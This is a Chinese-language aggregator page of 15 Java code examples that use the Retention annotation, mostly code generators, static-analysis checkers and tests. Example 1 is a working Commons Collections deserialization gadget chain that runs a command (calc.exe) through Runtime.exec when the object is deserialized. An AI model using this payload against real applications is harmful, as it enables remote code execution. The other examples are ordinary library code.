本文整理汇总了Java中java.lang.annotation.Retention类的典型用法代码示例。如果您正苦于以下问题:Java Retention类的具体用法?Java Retention怎么用?Java Retention使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
Retention类属于java.lang.annotation包,在下文中一共展示了Retention类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: Reverse_Payload
import java.lang.annotation.Retention; //导入依赖的package包/类
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map pocMap = new HashMap();
pocMap.put("value", "value");
Map outmap = TransformedMap.decorate(pocMap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
示例2: buildTemplateConstraint
import java.lang.annotation.Retention; //导入依赖的package包/类
private JDefinedClass buildTemplateConstraint(String name) {
try {
JDefinedClass tplConstraint = codeModel._class(Config.CFG.getBasePackageName() + ".annot."+name, ClassType.ANNOTATION_TYPE_DECL);
tplConstraint.annotate(Documented.class);
tplConstraint.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
tplConstraint.annotate(Target.class).paramArray("value").param(ElementType.TYPE).param(ElementType.ANNOTATION_TYPE).param(ElementType.FIELD).param(ElementType.METHOD);
// Using direct as I don't know how to build default { } with code model
tplConstraint.direct("\n" + " Class<?>[] groups() default {};\n" + " String message() default \"Invalid value\";\n" + " Class<? extends Payload>[] payload() default {};\n");
// Hack to force the import of javax.validation.Payload
tplConstraint.javadoc().addThrows((JClass) codeModel._ref(Payload.class)).add("Force import");
return tplConstraint;
} catch (JClassAlreadyExistsException e) {
throw new RuntimeException("Tried to create an already existing class: " + name, e);
}
}
示例3: retention
import java.lang.annotation.Retention; //导入依赖的package包/类
private static ArchCondition<JavaClass> retention(final RetentionPolicy expected) {
return new ArchCondition<JavaClass>("retention " + expected.name()) {
@Override
public void check(JavaClass item, ConditionEvents events) {
Optional<Retention> annotation = item.tryGetAnnotationOfType(Retention.class);
if (annotation.isPresent()) {
RetentionPolicy actual = annotation.get().value();
boolean equals = expected.equals(actual);
String message = String.format("class %s is annotated with %s with value = '%s' which %s with required '%s'",
item.getName(), Retention.class.getSimpleName(), actual.name(), equals ? "equals" : "not equals", expected.name()
);
events.add(equals ? SimpleConditionEvent.satisfied(item, message) : SimpleConditionEvent.violated(item, message));
}
}
};
}
示例4: annotationWithValueMethod
import java.lang.annotation.Retention; //导入依赖的package包/类
@Test
public void annotationWithValueMethod() {
Annotation annotation = Singleton.class.getAnnotation(Retention.class);
cache.getQualifier(annotation);
InOrder inOrder = inOrder(lock, cache);
// initial call
inOrder.verify(cache).getQualifier(annotation);
// internal thread safe method lookup
inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
inOrder.verify(lock).lock();
inOrder.verify(cache).getValueMethod(Retention.class);
inOrder.verify(lock).unlock();
// get Qualifier from value() method
inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));
inOrder.verifyNoMoreInteractions();
verifyZeroInteractions(cache);
assertThat(bindActionMap.size(), is(1));
}
示例5: visitType
import java.lang.annotation.Retention; //导入依赖的package包/类
@Override
protected void visitType(TypeDefinition td) {
if (!td.isAnnotation())
return;
DeclaredAnnotation da = getOrCreate(td);
for (CustomAnnotation ca : td.getAnnotations()) {
if (Types.is(ca.getAnnotationType(), Retention.class)) {
for (AnnotationParameter ap : ca.getParameters()) {
if (ap.getMember().equals("value")) {
AnnotationElement value = ap.getValue();
if (value instanceof EnumAnnotationElement) {
EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
}
}
}
}
}
}
}
示例6: process
import java.lang.annotation.Retention; //导入依赖的package包/类
@Override
public void process(TypeSpec.Builder typeBuilder, TypeModel typeModel) {
String valuesStr = "";
for (String key : getEnumValues(typeModel)) {
valuesStr += key + ", ";
typeBuilder.addField(FieldSpec.builder(ClassName.get(String.class), key)
.addModifiers(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)
.initializer("$S", key)
.build());
}
AnnotationSpec.Builder retentionAnnotation = AnnotationSpec.builder(ClassName.get(Retention.class)).
addMember("value", "$T.SOURCE", ClassName.get(RetentionPolicy.class));
AnnotationSpec.Builder intDefAnnotation = AnnotationSpec.builder(ClassName.get("android.support.annotation", "StringDef"))
.addMember("value", "{ $L }", valuesStr.substring(0, valuesStr.length() - 2));
typeBuilder.addType(TypeSpec.annotationBuilder(metaInfo.getClassName() + "Def").
addModifiers(Modifier.PUBLIC).
addAnnotation(retentionAnnotation.build()).
addAnnotation(intDefAnnotation.build()).
build());
}
示例7: loadAndCheckAnnotatedAnnotation
import java.lang.annotation.Retention; //导入依赖的package包/类
@Test
public void loadAndCheckAnnotatedAnnotation() throws Exception {
ClassInfo classInfo = ClassInfo.newAnnotation()
.name("org.kordamp.naum.processor.klass.AnnotatedAnnotation")
.iface(Annotation.class.getName())
.build();
classInfo.addToAnnotations(annotationInfo()
.name(Retention.class.getName())
.annotationValue("value", new EnumValue(RetentionPolicy.class.getName(), "SOURCE"))
.build());
classInfo.addToAnnotations(annotationInfo()
.name(Target.class.getName())
.annotationValue("value", newArrayValue(asList(
newEnumValue(ElementType.class.getName(), ElementType.TYPE.name()),
newEnumValue(ElementType.class.getName(), ElementType.FIELD.name()))
))
.build());
loadAndCheck("org/kordamp/naum/processor/klass/AnnotatedAnnotation.class", (klass) -> {
assertThat(klass.getContentHash(), equalTo(classInfo.getContentHash()));
assertThat(klass, equalTo(classInfo));
});
}
示例8: hasRuntimeAnnotations
import java.lang.annotation.Retention; //导入依赖的package包/类
private static boolean hasRuntimeAnnotations(PsiMethod method) {
PsiAnnotation[] annotations = method.getModifierList().getAnnotations();
for (PsiAnnotation annotation : annotations) {
PsiJavaCodeReferenceElement ref = annotation.getNameReferenceElement();
PsiElement target = ref != null ? ref.resolve() : null;
if (target instanceof PsiClass) {
final PsiAnnotation retentionAnno = AnnotationUtil.findAnnotation((PsiClass)target, Retention.class.getName());
if (retentionAnno != null) {
PsiAnnotationMemberValue value = retentionAnno.findAttributeValue("value");
if (value instanceof PsiReferenceExpression) {
final PsiElement resolved = ((PsiReferenceExpression)value).resolve();
if (resolved instanceof PsiField && RetentionPolicy.RUNTIME.name().equals(((PsiField)resolved).getName())) {
final PsiClass containingClass = ((PsiField)resolved).getContainingClass();
if (containingClass != null && RetentionPolicy.class.getName().equals(containingClass.getQualifiedName())) {
return true;
}
}
}
}
}
}
return false;
}
示例9: getAllReflectionClasses
import java.lang.annotation.Retention; //导入依赖的package包/类
private void getAllReflectionClasses() throws NotFoundException{
//System annotations
addClassIfNotExists(typeOracle.getType(Retention.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
addClassIfNotExists(typeOracle.getType(Documented.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
addClassIfNotExists(typeOracle.getType(Inherited.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
addClassIfNotExists(typeOracle.getType(Target.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
addClassIfNotExists(typeOracle.getType(Deprecated.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
//typeOracle.getType("org.lirazs.gbackbone.client.test.reflection.TestReflectionGenerics.TestReflection1");
//=====GWT0.7
for (JClassType classType : typeOracle.getTypes()) {
Reflectable reflectable = GenUtils.getClassTypeAnnotationWithMataAnnotation(classType, Reflectable.class);
if (reflectable != null){
processClass(classType, reflectable);
if (reflectable.assignableClasses()){
for (JClassType type : classType.getSubtypes()){
processClass(type, reflectable);
}
}
}
}
//======end of gwt0.7
}
示例10: getDeclaredAnnotationClass
import java.lang.annotation.Retention; //导入依赖的package包/类
@Nullable
private static Class<Annotation> getDeclaredAnnotationClass(AnnotationMirror mirror) throws ClassNotFoundException {
TypeElement element = (TypeElement) mirror.getAnnotationType().asElement();
// Ensure the annotation has the correct retention and targets.
Retention retention = element.getAnnotation(Retention.class);
if (retention != null && retention.value() != RetentionPolicy.RUNTIME) {
return null;
}
Target target = element.getAnnotation(Target.class);
if (target != null) {
if (target.value().length < 2) {
return null;
}
List<ElementType> targets = Arrays.asList(target.value());
if (!(targets.contains(ElementType.TYPE) && targets.contains(ElementType.ANNOTATION_TYPE))) {
return null;
}
}
return (Class<Annotation>) Class.forName(element.getQualifiedName().toString());
}
示例11: matchClass
import java.lang.annotation.Retention; //导入依赖的package包/类
@Override
public final Description matchClass(ClassTree classTree, VisitorState state) {
if (SCOPE_OR_QUALIFIER_ANNOTATION_MATCHER.matches(classTree, state)) {
ClassSymbol classSymbol = ASTHelpers.getSymbol(classTree);
if (hasSourceRetention(classSymbol)) {
return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
}
// TODO(glorioso): This is a poor hack to exclude android apps that are more likely to not
// have reflective DI than normal java. JSR spec still says the annotations should be
// runtime-retained, but this reduces the instances that are flagged.
if (!state.isAndroidCompatible() && doesNotHaveRuntimeRetention(classSymbol)) {
// Is this in a dagger component?
ClassTree outer = ASTHelpers.findEnclosingNode(state.getPath(), ClassTree.class);
if (outer != null && InjectMatchers.IS_DAGGER_COMPONENT_OR_MODULE.matches(outer, state)) {
return Description.NO_MATCH;
}
return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
}
}
return Description.NO_MATCH;
}
示例12: describe
import java.lang.annotation.Retention; //导入依赖的package包/类
private Description describe(
ClassTree classTree, VisitorState state, @Nullable Retention retention) {
if (retention == null) {
return describeMatch(
classTree,
SuggestedFix.builder()
.addImport("java.lang.annotation.Retention")
.addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
.prefixWith(classTree, "@Retention(RUNTIME)\n")
.build());
}
AnnotationTree retentionNode = null;
for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
if (ASTHelpers.getSymbol(annotation)
.equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
retentionNode = annotation;
}
}
return describeMatch(
retentionNode,
SuggestedFix.builder()
.addImport("java.lang.annotation.Retention")
.addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
.replace(retentionNode, "@Retention(RUNTIME)")
.build());
}
示例13: test_isAnnotationPresent_Cla
import java.lang.annotation.Retention; //导入依赖的package包/类
/**
*
*/
public void test_isAnnotationPresent_Cla() {
class e {};
assertFalse("zzz annotation is not presented for e class!",
e.class.isAnnotationPresent(zzz.class));
assertFalse("zzz annotation is not presented for zzz class!",
zzz.class.isAnnotationPresent(zzz.class));
assertTrue("Target annotation is presented for zzz class!",
zzz.class.isAnnotationPresent(java.lang.annotation
.Target.class));
assertTrue("Documented annotation is presented for zzz class!",
zzz.class.isAnnotationPresent(java.lang.annotation
.Documented.class));
assertTrue("Retention annotation is presented for zzz class!",
zzz.class.isAnnotationPresent(java.lang.annotation
.Retention.class));
}
示例14: test_getAnnotation_Cla
import java.lang.annotation.Retention; //导入依赖的package包/类
/**
*
*/
public void test_getAnnotation_Cla() {
class e {};
assertNull("zzz annotation is not presented in e class!",
e.class.getAnnotation(zzz.class));
assertNull("zzz annotation is not presented in zzz class!",
zzz.class.getAnnotation(zzz.class));
assertFalse("Target annotation is presented in zzz class!",
zzz.class.getAnnotation(java.lang.annotation.Target.class)
.toString().indexOf("java.lang.annotation.Target") == -1);
assertFalse("Documented annotation is presented in zzz class!",
zzz.class.getAnnotation(java.lang.annotation.Documented.class)
.toString().indexOf("java.lang.annotation.Documented") == -1);
assertFalse("Retention annotation is presented in zzz class!",
zzz.class.getAnnotation(java.lang.annotation.Retention.class)
.toString().indexOf("java.lang.annotation.Retention") == -1);
}
示例15: describe
import java.lang.annotation.Retention; //导入依赖的package包/类
public Description describe(ClassTree classTree, VisitorState state) {
Retention retention = ASTHelpers.getAnnotation(classTree, Retention.class);
if (retention == null) {
return describeMatch(classTree, new SuggestedFix().addImport(
"java.lang.annotation.Retention")
.addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
.prefixWith(classTree, "@Retention(RUNTIME)\n"));
}
AnnotationTree retentionNode = null;
for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
if (ASTHelpers.getSymbol(annotation)
.equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
retentionNode = annotation;
}
}
return describeMatch(retentionNode, new SuggestedFix().addImport(
"java.lang.annotation.Retention")
.addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
.replace(retentionNode, "@Retention(RUNTIME)"));
}